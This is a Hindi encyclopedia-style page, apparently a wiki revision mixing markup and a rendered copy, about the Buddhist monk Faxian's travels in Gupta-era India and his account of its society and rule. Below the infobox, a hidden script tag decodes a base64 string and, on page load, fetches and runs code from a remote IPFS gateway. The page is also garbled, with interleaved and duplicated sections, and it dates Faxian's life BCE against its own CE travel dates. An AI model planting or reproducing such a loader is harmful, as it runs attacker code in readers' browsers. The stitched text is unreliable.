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==फ़ाह्यान / Fa Xian / Fa-Hien==
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फ़ाह्यान (337-422 ई पू लगभग) एक चीनी बौद्ध भिक्षु था जो [[चन्द्रगुप्त विक्रमादित्य|चन्द्रगुप्त द्वितीय]] के राज्य काल में [[मथुरा]] आया था। फ़ाह्यान ने नेपाल, भारत श्री लंका की यात्राएँ कीं और बौद्ध धर्म संबंधी साहित्य इकट्ठा किया। एक प्रसिद्ध चीनी बौद्धयात्री था जो विनयपिटक की प्रामाणिक प्रति की खोज में भारत आया और 401 ई॰ से 410 ई॰ तक यहां रहा। उसने [[तक्षशिला]], पुरुषपुर (पेशावर) होते हुए तीन वर्ष तक उत्तर भारत की यात्रा की और दो वर्ष ताम्रलिपि (पश्चिमी बंगाल का आधुनिक तमलुक) मंश बिताए। उसने अपनी भारत यात्रा के वर्णन में गंगाघाटी के मैदान को 'मध्यदेश' बताया है।
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|चित्र का नाम=फ़ाह्यान
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|पूरा नाम=फ़ाह्यान
फाहियान के वर्णन से ज्ञात होता है कि उन दिनों देश में बड़ा अमन-चैन था। लोग बेरोक-टोक आते-जाते थे। फांसी की सजा नहीं दी जाती थी।  हां, गंभीर अपराध करने पर अंग-भंग की सजा मिलती थी। आम जनता वैभव संपन्न थी। यात्रियों और रोगियों के लिए बड़ा अच्छा प्रबंध था।  किसी प्राणी की हत्या नहीं की जाती थी। कोई शराब नहीं पीता था। फाहियान ने तीन वर्ष [[पाटलिपुत्र]] में रहकर [[संस्कृत]] भाषा सीखी और [[बौद्ध]] ग्रंथों का अध्ययन किया। अंत में वह 410 ई॰ में ताम्रलिप्ति से जलयान में बैठा और श्रीलंका तथा जावा होता हुआ 414 ई॰ में चीन वापस पहुंचा।
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|अन्य नाम=फ़ाहियान 
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|जन्म=337 ई.
फ़ाह्यान ने पुस्तक भी लिखीं। वह [[गौतम बुद्ध]] के जन्म स्थान लुंबनी (नेपाल) भी गया। उसकी प्रसिद्ध पुस्तक का विवरण निम्न है:----
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'''फ़ाह्यान''' अथवा ''फ़ाहियान'' ([[अंग्रेज़ी]]:''Faxian'') का जन्म [[चीन]] के 'वु-वंग' नामक स्थान पर हुआ था। यह [[बौद्ध धर्म]] का अनुयायी था। उसने लगभग 399 ई. में अपने कुछ मित्रों 'हुई-चिंग', 'ताओंचेंग', 'हुई-मिंग', 'हुईवेई' के साथ [[भारत]] यात्रा प्रारम्भ की। फ़ाह्यान की भारत यात्रा का उदेश्य बौद्ध हस्तलिपियों एवं बौद्ध स्मृतियों को खोजना था। इसीलिए फ़ाह्यान ने उन्हीं स्थानों के भ्रमण को महत्त्व दिया, जो बौद्ध धर्म से सम्बन्धित थे।
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==फ़ाह्यान की भारत यात्रा==
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[[बौद्ध धर्म]] के अनुयाई से पूर्व प्लिनी द एल्डर, टॅालमी और [[मेगस्थनीज]] जैसे रोमन और यूनानी लेखक भारत की यात्रा कर चुके थे लेकिन किसी के पास वैसा विस्तृत भारत वर्णन नहीं है जैसा कि फ़ाह्यान ने प्रस्तुत किया। फाह्यान ने लगभग 399 ई. इसमें अपने कुछ मित्रों हुई-चिंग, ताओंचेंग, हुई-मिंग, हुई-वेई के साथ भारत यात्रा प्रारंभ की थी। उस की भारत यात्रा का उद्देश्य बौद्ध ग्रंथों की खोज करना था। वह पहले पश्चिम में [[तक्षशिला]] और [[पुरुषपुर]] जैसे स्थानों पर गया था। फिर उसने [[दोआब]] की ओर यात्रा शुरू की और [[मथुरा]] पहुंचा। फिर वह पूर्व दिशा में [[साकेत]], [[श्रावस्ती]], [[कपिलवस्तु]], [[कुशीनगर]] और [[वैशाली]] होता हुआ [[पाटलिपुत्र]] पहुंचा। वहां [[अशोक|सम्राट अशोक]] के राज प्रसाद को देखकर वह अचंभित रह गया। उसने कहा, ऐसा लग रहा था जैसे यह महल स्वयं देवताओं ने बनाया हो। उसने पाटलिपुत्र में बिताए 3 सालों और [[ताम्रलिप्ति]] (आधुनिक मिदनापुर) में बिताये दो वर्षों का बड़ा रोचक वृतांत प्रस्तुत किया है। फाह्यान ने भारत में बिताए 12 वर्षों में से 6 वर्ष यात्रा में  और 6 वर्ष अध्यवसाय में बिताए थे।<ref>अहा! ज़िन्दगी, अप्रैल 2018, पृष्ठ संख्या- 68</ref>
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==यात्रा-क्रम==
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अपने यात्रा क्रम में वह मित्रों के साथ सर्वप्रथम 'रानशन' पहुंचा और यहां लगभग 4,000 बौद्ध भिक्षुओं का दर्शन किया। दुर्गम रास्तों से गुजरता हुआ फ़ाह्यान 'खोतान' पहुंचा। यहां उसे 14 बड़े मठों के विषय में जानकारी मिली। यहां के मठों में सबसे बड़ा मठ 'गोमती विहार' के नाम से प्रसिद्ध था, जिसमें क़रीब 3,000 [[महायान]] धर्म के समर्थक रहते थे। गोमती विहार के नज़दीक ही एक दूसरा विहार था। यह विहार क़रीब 250 फुट ऊंचा था, जिसमें [[सोना]], [[चांदी]] एवं अनेकों [[धातु|धातुओं]] का प्रयोग किया गया था। मार्ग में अनेक प्रकार का कष्ट सहता हुआ, अगले पड़ाव के रूप फ़ाह्यान 'पुष्कलावती' पहुंचा। जहां उसने हीनयान सम्प्रदाय के लोगों को देखा। ऐसा माना जाता है कि, यहां [[बोधिसत्व]] ने अपनी [[आंख|आँखें]] किसी और को दान की थीं। फ़ाह्यान ने यहां पर सोने एवं रजत से जड़ित स्तूप के होने की बात बताई है। पुष्पकलावती के बाद फ़ाह्यान [[तक्षशिला]] पहुंचा।
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==विभिन्न नगरों की यात्रा==
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चीनी स्रोतों का मानना है कि [[बोधिसत्व]] ने यहां पर अपने सिर को काट कर किसी और व्यक्ति को दान कर दिया था। इसलिए चीनी लोग [[तक्षशिला]] का शाब्दिक अर्थ 'कटा सिर' लगाते हैं। [[चित्र:Faxian zhuan.JPG|thumb|left|फ़ाह्यान के यात्रा वृत्तान्त का पहला पन्ना]] यहां पर भी बहुमूल्य धातुओं से निर्मित स्तूप होने की बात का फ़ाह्यान ने वर्णन किया है। तक्षशिला के बाद फ़ाह्यान '[[पुरुषपुर]]' पहुंचा। यहां पर [[कनिष्क]] द्वारा निर्मित 400 फीट ऊंचे स्तूप को उसने अन्य स्तूपों में सर्वोत्कृष्ट बतलाया। फ़ाह्यान ने 'नगर देश' में बने एक [[स्तूप]] में [[बुद्ध]] के [[कपाल]] की हड्डी गड़े होने का वर्णन किया है। [[मथुरा]] पहुंचकर फ़ाह्यान ने [[यमुना नदी]] के किनारे बने 20 मठों के दर्शन किये। फ़ाह्यान ने मध्य देश की यात्रा की सर्वाधिक प्रशंसा की है। चूंकि वह प्रदेश [[ब्राह्मण]] धर्म का केन्द्र स्थल था इसलिए इसे 'ब्राह्मण देश' भी कहा गया है। यात्रा के अगले क्रम में फ़ाह्यान [[कान्यकुब्ज]], [[साकेत]] और फिर [[श्रावस्ती]] पहुंचा। श्रावस्ती में भी स्तूप एवं मठ निर्मित मिले और यहां पर भी स्थित '[[जेतवन श्रावस्ती|जेतवन]]' को फ़ाह्यान ने 'सुवर्ण उपवन' कहा है। इसके बाद फ़ाह्यान [[कपिलवस्तु]], [[कुशीनगर]] और [[वैशाली]] से होता हुआ [[पाटलिपुत्र]] पहुंचा। पाटलिपुत्र को फ़ाह्यान ने तत्कालीन [[भारत]] का सर्वश्रेष्ठ नगर बताया है। यहां पर निर्मित मौर्य सम्राट [[अशोक]] के राजप्रसाद को देखकर फ़ाह्यान ने कहा, 'मानो राजप्रसाद देवताओं द्वारा निर्मित हो'। पाटलिपुत्र में ही फ़ाह्यान ने [[हीनयान]] एवं [[महायान]] से सम्बन्धित दो मठों को देखा तथा अशोक द्वारा निर्मित [[स्तूप]] एवं दो लाटों के दर्शन किये। 401 ई. से 410 ई. तक फ़ाह्यान [[भारत]] में रहा। इस बीच फ़ाह्यान ने 3 [[वर्ष]] पाटलिपुत्र में और 2 वर्ष [[ताम्रलिप्ति]] ([[पश्चिम बंगाल|आधुनिक बंगाल]] का [[मिदनापुर ज़िला]]) में बिताए फ़ाह्यान ने अपनी भारत यात्रा के बड़े रोचक विवरण लिखे हैं।
  
==सोलहवां पर्व==
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==चन्द्रगुप्त द्वितीय की प्रशंसा==
===मथुरा===
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[[नालन्दा]] में फ़ाह्यान ने बुद्ध के शिष्य 'सारिपुत्र' की अस्थियों पर निर्मित स्तूप का उल्लेख किया, इसके बाद वह [[राजगृह]], [[बोधगया]] एवं [[सारनाथ]] की यात्रा के बाद वापस पाटलिपुत्र आया, जहां कुछ समय बिताने के बाद स्वदेश लौट गया। इस दौरान फ़ाह्यान ने लगभग 6 वर्ष सफर में एवं 6 वर्ष अध्ययन में बिताया। पाटिलपुत्र में [[संस्कृत]] के अध्ययन हेतु उसने 3 वर्ष व्यतीत किये। फ़ाह्यान ने अपने समकाली नरेश [[चन्द्रगुप्त द्वितीय]] के नाम की चर्चा न कर उसकी धार्मिक सहिष्णुता की नीति एवं कुशल प्रशासन की मुक्त कण्ठ से प्रशंसा की है। उसके अनुसार इस समय जनता सुखी थीं, कर का भार अल्प था, शारीरिक दण्ड एवं मृत्युदण्ड का प्रचलन नहीं था, अर्थदण्ड ही पर्याप्त होता था।
यहां से दक्षिण पूर्व दिशा में अस्सी [[योजन]] चले। मार्ग में लगातार बहुत से विहार मिले जिनमें लाखों श्रमण मिले। सब स्थान में होते हुए एक जनपद में पहुंचे। जनपद का नाम मताऊला (मथुरा) था। पूना नदी के किनारे किनारे चले। नदी के दहिने बाएं बीस विहार थे जिनमे तीन सहस्र से अधिक भिक्षु थे। [[बौद्ध]] धर्म का अच्छा प्रचार अब तक है। मरुभूमि से पश्चिम हिंदुस्तान के सभी जनपदों में जनपदों के अधिपति बौद्ध धर्मानुयायी मिले। भिक्षु संघ को भिक्षा कराते समय वे अपने मुकुट उतार डालते हैं। अपने बंधुओं और आमात्यों सहित अपने हाथों से भोजन परोसते हैं। परोस कर प्रधान के आगे आसन बिछवा कर बैठ जाते हैं। संघ के सामने खाट पर बैठने का साहस नहीं करते। तथागत के समय जो प्रथा राजाओं में भिक्षा कराने की थी वही अब तक चली आती है।
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==समाज का वर्णन==
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तत्काली समाज पर प्रकाश डालते हुए फ़ाह्यान ने कहा है कि, लोग अतिथि परायण होते थे। भोजन में [[लहसुन]], प्याज, मदिरा, मांस, मछली का प्रयोग नहीं करते थे। फ़ाह्यान ने चाण्डाल जैसी अस्पृश्य जाति का भी उल्लेख किया है, जिनका एक तरह से सामाजिक बहिष्कार किया जाता था। [[वैश्य|वैश्य जाति]] की प्रशंसा फ़ाह्यान ने इसलिए की, क्योंकि इस जाति ने [[बौद्ध धर्म]] के प्रचार-प्रसार एवं भिक्षुओं के विश्राम हेतु मठों के निर्माण में काफ़ी धन व्यय किया था।
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==आर्थिक दशा==
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[[गुप्त साम्राज्य|गुप्त]] कालीन आर्थिक दशा पर प्रकाश डालते हुए फ़ाह्यान ने कहा है कि, इस समय साधारण क्रय-विक्रय में कौड़ियों का प्रयोग होता था। इस समय [[भारत]] का व्यापार उन्नत दशा में था। फ़ाह्यान ने इस समय बड़े-बड़े जहाज़ों को चलाने की भी बात कही है। उसके वर्णन के अनुसार उसने स्वयं स्वदेश वापस जाते समय एक बड़े जहाज़ में बैठ कर [[ताम्रलिप्ति]] बन्दरगाह से प्रस्थान किया था। फ़ाह्यान ने अपने समकालीन भारतीय सम्राट के विषय में बताया है कि, वे विद्धानों के संरक्षक थे। फ़ाह्यान ने [[मंजुश्री]] नाम के विद्धान का वर्णन भी किया है। धार्मिक स्थित के बारे में फ़ाह्यान ने लिखा है कि, इस समय अनेक प्रकार के धर्म एवं विचारधारायें प्रचलन में थीं। इनमें सर्वाधिक प्रकाश उसने [[बौद्ध धर्म]] पर डाला हे। फ़ाह्यान ने भारत में वैशाख की अष्टमी को एक महत्त्वपूर्ण उत्सव मनाये जाने की बात कही हैं। उसके अनुसार चार पहिये वाले रथ पर कई मूर्तियों को रख कर जुलूस निकाला जाता था। फ़ाह्यान के दिये गये विवरण से यह स्थिति स्पष्ट हो जाती है कि, [[चन्द्रगुप्त द्वितीय]] का समय शान्ति एवं ऐश्वर्य का समय था।
  
यहां से दक्षिण मध्य देश कहलाता है। यहां शीत और उष्ण सम है। प्रजा प्रभूत और सुखी है। व्यवहार की लिखा पढ़ी और पंच पंचायत कुछ नहीं है। लोग राजा की भूमि जोतते हैं और उपज का अंश देते हैं। जहां चाहें जाएं, जहां चाहें रहें, राजा न प्राणदंड देता है और न शारीरिक दंड देता है। अपराधी को अवस्थानुसार उत्तम साहस व मध्यम साहस का अर्थदंड दिया जाता है। बार दस्यु कर्म करने पर दक्षिण करच्छेद किया जाता है राजा के प्रतिहार और सहचर वेतन-भोगी हैं। सारे देश में कोई अधिवासी न जीव हिंसा करता है, न मद्य पीता है और न लहसुन प्याज खाता है; सिवाय चांडाल के। दस्यु को चांडाल कहते हैं। वे नगर के बारह रहते हैं और नगर में जब पैठते हैं तो सूचना के लिए लकड़ी बजाते चलते हैं, कि लोग जान जाएं और बचा कर चलें, कहीं उनसे छू न जाएं। जनपद में सूअर और मुर्गी नहीं पालते, न जीवित पशु बेचते हैं, न कही सूनागार और मद्य की दुकानें हैं। क्रय विक्रय में कौड़ियों का व्यवहार है। केवल चांडाल मछली मारते, मृगया करते और मांस बेचते हैं।
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{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 
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==टीका टिप्पणी और संदर्भ==
बुद्धदेव के बोधि लाभ करने पर सब जनपदों के राजा और सेठों ने भिक्षुओं के लिए विहार बनवाए। खेत, घर, वन, आराम वहां की प्रजा और पशु को दान कर दिया। दानपत्र ताम्रपत्र पर खुदे हैं। प्राचीन राजाओं के समय से चले आते हैं, किसी ने आज तक विफल नहीं किया, अब तक तैसे ही हैं। विहार में संघ को ख़ान पान मिलता है, वस्त्र मिलता है, आए गए को वर्षा में आवास मिलता है।
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<references/>
श्रमणों का कृत्य शुभ कर्मों से धर्मोपार्जन करना, सूत्र का पाठ करना और ध्यान लगाना है। आगंतुक (अतिथि) भिक्षु आते हैं तो रहनेवाले (स्थायी) भिक्षु उन्हें आगे बढ़कर लेते हैं। उनके वस्त्र और भिक्षापात्र स्वयं ले लेने पर उनसे पूछते हैं कि कितने दिनों से प्रव्रज्या ग्रहण की है फिर उन्हें उनकी योग्यता के अनुसार आवास देते हैं ओर यथानियम उनसे व्यवहार करते हैं।
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==संबंधित लेख==
 
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{{विदेशी यात्री}}
भिक्षु संघ के स्थान पर सारिपुत्र, महा मौद्गलायन और महाकश्यप के [[स्तूप]] बने रहते हैं और वहीं अभिधर्म, विनय और सूत्र के स्तूप बने रहते हैं ओर वहीं अभिधर्म, विनय और सूत्र के स्तूप भी होते हैं। वर्षा से एक मास पीछे उपासक लोग भिक्षुओं को दान देने के लिए परस्पर स्पर्द्धा करते हैं। सब ओर से लोग साधुओं को विकाल के लिए 'पेय' भेजते हैं। भिक्षु संघ के संघ आते हैं, धर्मोपदेश करते हैं, फिर सारिपुत्र के स्तूप की पूजा माला और गंध से करते हैं। रात भर दीपमालिका होती है ओर गीत वाद्य कराया जाता है।
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[[Category:इतिहास_कोश]]
 
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[[Category:विदेशी यात्री]][[Category:चरित कोश]]
सारिपुत्र कुलीन ब्राह्मण थे। तथागत से प्रव्रज्या के लिए प्रार्थना की। महामोद्गलायन और महाकश्यप ने भी यही किया था। भिक्षुनी प्राय: [[आनंद]] के स्तूप की पूजा करती हैं। उन्होंने ही तथागत से स्त्रियों को प्रव्रज्या देने की प्रार्थना की थी। श्रामणेर राहुल की पूजा करते हैं। अभिधर्म के अभ्यासी अभिधर्म की विनय के अनुयायी विनय की पूजा करते हैं। प्रतिवर्ष पूजा एक बार होती है। हर एक के लिए दिन नियत है। [[महायान]] के अनुयायी प्रज्ञापारमिता, मंजुश्र ओर अवलोकितेश्वर की पूजा करते हैं।
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[[Category:बौद्ध धर्म कोश]][[Category:धर्म कोश]]
+
[[Category:इतिहासकार]]
जब भिक्षु वार्षिकी अग्रहार पा जाते हैं तब सेठ और ब्राह्मण लोग वस्त्र ओर अन्य उपस्कार बांटते हैं। भिक्षु उन्हें लेकर यथाभाग विभक्त करते हैं। बुद्धदेव के बोधि प्राप्त काल से ही यह रीति, आचार व्यवहार और नियम अविच्छिन्न लगातार चले आते हैं। हियंतु उतरने के स्थान से दक्षिण हिंदुस्तान तक और दक्षिण समुद्र तक चालीस पचास हजार ली तक चौरस (भूमि) है, इसमें कहीं पर्वत झरने नहीं हैं, नदी का ही जल है।
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[[Category:विदेशी]]
[[Category:गुप्त काल]]
 
[[Category: बुद्ध]]
 
[[Category:कोश]]
 
[[Category:इतिहास-कोश]]
 
 
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05:09, 4 फ़रवरी 2021 के समय का अवतरण

फ़ाह्यान
फ़ाह्यान
पूरा नाम फ़ाह्यान
अन्य नाम फ़ाहियान
जन्म 337 ई.
जन्म भूमि चीन के 'वु-वंग' नामक स्थान पर
मृत्यु 422 ई.
प्रसिद्धि चीनी बौद्ध भिक्षु
विशेष योगदान बौद्ध धर्म का अनुयायी
अन्य जानकारी फ़ाह्यान ने अपने समकाली नरेश चन्द्रगुप्त द्वितीय के नाम की चर्चा न कर उसकी धार्मिक सहिष्णुता की नीति एवं कुशल प्रशासन की मुक्त कण्ठ से प्रशंसा की है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

फ़ाह्यान अथवा फ़ाहियान (अंग्रेज़ी:Faxian) का जन्म चीन के 'वु-वंग' नामक स्थान पर हुआ था। यह बौद्ध धर्म का अनुयायी था। उसने लगभग 399 ई. में अपने कुछ मित्रों 'हुई-चिंग', 'ताओंचेंग', 'हुई-मिंग', 'हुईवेई' के साथ भारत यात्रा प्रारम्भ की। फ़ाह्यान की भारत यात्रा का उदेश्य बौद्ध हस्तलिपियों एवं बौद्ध स्मृतियों को खोजना था। इसीलिए फ़ाह्यान ने उन्हीं स्थानों के भ्रमण को महत्त्व दिया, जो बौद्ध धर्म से सम्बन्धित थे।

फ़ाह्यान की भारत यात्रा

बौद्ध धर्म के अनुयाई से पूर्व प्लिनी द एल्डर, टॅालमी और मेगस्थनीज जैसे रोमन और यूनानी लेखक भारत की यात्रा कर चुके थे लेकिन किसी के पास वैसा विस्तृत भारत वर्णन नहीं है जैसा कि फ़ाह्यान ने प्रस्तुत किया। फाह्यान ने लगभग 399 ई. इसमें अपने कुछ मित्रों हुई-चिंग, ताओंचेंग, हुई-मिंग, हुई-वेई के साथ भारत यात्रा प्रारंभ की थी। उस की भारत यात्रा का उद्देश्य बौद्ध ग्रंथों की खोज करना था। वह पहले पश्चिम में तक्षशिला और पुरुषपुर जैसे स्थानों पर गया था। फिर उसने दोआब की ओर यात्रा शुरू की और मथुरा पहुंचा। फिर वह पूर्व दिशा में साकेत, श्रावस्ती, कपिलवस्तु, कुशीनगर और वैशाली होता हुआ पाटलिपुत्र पहुंचा। वहां सम्राट अशोक के राज प्रसाद को देखकर वह अचंभित रह गया। उसने कहा, ऐसा लग रहा था जैसे यह महल स्वयं देवताओं ने बनाया हो। उसने पाटलिपुत्र में बिताए 3 सालों और ताम्रलिप्ति (आधुनिक मिदनापुर) में बिताये दो वर्षों का बड़ा रोचक वृतांत प्रस्तुत किया है। फाह्यान ने भारत में बिताए 12 वर्षों में से 6 वर्ष यात्रा में और 6 वर्ष अध्यवसाय में बिताए थे।[1]

यात्रा-क्रम

अपने यात्रा क्रम में वह मित्रों के साथ सर्वप्रथम 'रानशन' पहुंचा और यहां लगभग 4,000 बौद्ध भिक्षुओं का दर्शन किया। दुर्गम रास्तों से गुजरता हुआ फ़ाह्यान 'खोतान' पहुंचा। यहां उसे 14 बड़े मठों के विषय में जानकारी मिली। यहां के मठों में सबसे बड़ा मठ 'गोमती विहार' के नाम से प्रसिद्ध था, जिसमें क़रीब 3,000 महायान धर्म के समर्थक रहते थे। गोमती विहार के नज़दीक ही एक दूसरा विहार था। यह विहार क़रीब 250 फुट ऊंचा था, जिसमें सोना, चांदी एवं अनेकों धातुओं का प्रयोग किया गया था। मार्ग में अनेक प्रकार का कष्ट सहता हुआ, अगले पड़ाव के रूप फ़ाह्यान 'पुष्कलावती' पहुंचा। जहां उसने हीनयान सम्प्रदाय के लोगों को देखा। ऐसा माना जाता है कि, यहां बोधिसत्व ने अपनी आँखें किसी और को दान की थीं। फ़ाह्यान ने यहां पर सोने एवं रजत से जड़ित स्तूप के होने की बात बताई है। पुष्पकलावती के बाद फ़ाह्यान तक्षशिला पहुंचा।

विभिन्न नगरों की यात्रा

चीनी स्रोतों का मानना है कि बोधिसत्व ने यहां पर अपने सिर को काट कर किसी और व्यक्ति को दान कर दिया था। इसलिए चीनी लोग तक्षशिला का शाब्दिक अर्थ 'कटा सिर' लगाते हैं।

फ़ाह्यान के यात्रा वृत्तान्त का पहला पन्ना

यहां पर भी बहुमूल्य धातुओं से निर्मित स्तूप होने की बात का फ़ाह्यान ने वर्णन किया है। तक्षशिला के बाद फ़ाह्यान 'पुरुषपुर' पहुंचा। यहां पर कनिष्क द्वारा निर्मित 400 फीट ऊंचे स्तूप को उसने अन्य स्तूपों में सर्वोत्कृष्ट बतलाया। फ़ाह्यान ने 'नगर देश' में बने एक स्तूप में बुद्ध के कपाल की हड्डी गड़े होने का वर्णन किया है। मथुरा पहुंचकर फ़ाह्यान ने यमुना नदी के किनारे बने 20 मठों के दर्शन किये। फ़ाह्यान ने मध्य देश की यात्रा की सर्वाधिक प्रशंसा की है। चूंकि वह प्रदेश ब्राह्मण धर्म का केन्द्र स्थल था इसलिए इसे 'ब्राह्मण देश' भी कहा गया है। यात्रा के अगले क्रम में फ़ाह्यान कान्यकुब्ज, साकेत और फिर श्रावस्ती पहुंचा। श्रावस्ती में भी स्तूप एवं मठ निर्मित मिले और यहां पर भी स्थित 'जेतवन' को फ़ाह्यान ने 'सुवर्ण उपवन' कहा है। इसके बाद फ़ाह्यान कपिलवस्तु, कुशीनगर और वैशाली से होता हुआ पाटलिपुत्र पहुंचा। पाटलिपुत्र को फ़ाह्यान ने तत्कालीन भारत का सर्वश्रेष्ठ नगर बताया है। यहां पर निर्मित मौर्य सम्राट अशोक के राजप्रसाद को देखकर फ़ाह्यान ने कहा, 'मानो राजप्रसाद देवताओं द्वारा निर्मित हो'। पाटलिपुत्र में ही फ़ाह्यान ने हीनयान एवं महायान से सम्बन्धित दो मठों को देखा तथा अशोक द्वारा निर्मित स्तूप एवं दो लाटों के दर्शन किये। 401 ई. से 410 ई. तक फ़ाह्यान भारत में रहा। इस बीच फ़ाह्यान ने 3 वर्ष पाटलिपुत्र में और 2 वर्ष ताम्रलिप्ति (आधुनिक बंगाल का मिदनापुर ज़िला) में बिताए फ़ाह्यान ने अपनी भारत यात्रा के बड़े रोचक विवरण लिखे हैं।

चन्द्रगुप्त द्वितीय की प्रशंसा

नालन्दा में फ़ाह्यान ने बुद्ध के शिष्य 'सारिपुत्र' की अस्थियों पर निर्मित स्तूप का उल्लेख किया, इसके बाद वह राजगृह, बोधगया एवं सारनाथ की यात्रा के बाद वापस पाटलिपुत्र आया, जहां कुछ समय बिताने के बाद स्वदेश लौट गया। इस दौरान फ़ाह्यान ने लगभग 6 वर्ष सफर में एवं 6 वर्ष अध्ययन में बिताया। पाटिलपुत्र में संस्कृत के अध्ययन हेतु उसने 3 वर्ष व्यतीत किये। फ़ाह्यान ने अपने समकाली नरेश चन्द्रगुप्त द्वितीय के नाम की चर्चा न कर उसकी धार्मिक सहिष्णुता की नीति एवं कुशल प्रशासन की मुक्त कण्ठ से प्रशंसा की है। उसके अनुसार इस समय जनता सुखी थीं, कर का भार अल्प था, शारीरिक दण्ड एवं मृत्युदण्ड का प्रचलन नहीं था, अर्थदण्ड ही पर्याप्त होता था।

समाज का वर्णन

तत्काली समाज पर प्रकाश डालते हुए फ़ाह्यान ने कहा है कि, लोग अतिथि परायण होते थे। भोजन में लहसुन, प्याज, मदिरा, मांस, मछली का प्रयोग नहीं करते थे। फ़ाह्यान ने चाण्डाल जैसी अस्पृश्य जाति का भी उल्लेख किया है, जिनका एक तरह से सामाजिक बहिष्कार किया जाता था। वैश्य जाति की प्रशंसा फ़ाह्यान ने इसलिए की, क्योंकि इस जाति ने बौद्ध धर्म के प्रचार-प्रसार एवं भिक्षुओं के विश्राम हेतु मठों के निर्माण में काफ़ी धन व्यय किया था।

आर्थिक दशा

गुप्त कालीन आर्थिक दशा पर प्रकाश डालते हुए फ़ाह्यान ने कहा है कि, इस समय साधारण क्रय-विक्रय में कौड़ियों का प्रयोग होता था। इस समय भारत का व्यापार उन्नत दशा में था। फ़ाह्यान ने इस समय बड़े-बड़े जहाज़ों को चलाने की भी बात कही है। उसके वर्णन के अनुसार उसने स्वयं स्वदेश वापस जाते समय एक बड़े जहाज़ में बैठ कर ताम्रलिप्ति बन्दरगाह से प्रस्थान किया था। फ़ाह्यान ने अपने समकालीन भारतीय सम्राट के विषय में बताया है कि, वे विद्धानों के संरक्षक थे। फ़ाह्यान ने मंजुश्री नाम के विद्धान का वर्णन भी किया है। धार्मिक स्थित के बारे में फ़ाह्यान ने लिखा है कि, इस समय अनेक प्रकार के धर्म एवं विचारधारायें प्रचलन में थीं। इनमें सर्वाधिक प्रकाश उसने बौद्ध धर्म पर डाला हे। फ़ाह्यान ने भारत में वैशाख की अष्टमी को एक महत्त्वपूर्ण उत्सव मनाये जाने की बात कही हैं। उसके अनुसार चार पहिये वाले रथ पर कई मूर्तियों को रख कर जुलूस निकाला जाता था। फ़ाह्यान के दिये गये विवरण से यह स्थिति स्पष्ट हो जाती है कि, चन्द्रगुप्त द्वितीय का समय शान्ति एवं ऐश्वर्य का समय था।


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टीका टिप्पणी और संदर्भ

  1. अहा! ज़िन्दगी, अप्रैल 2018, पृष्ठ संख्या- 68

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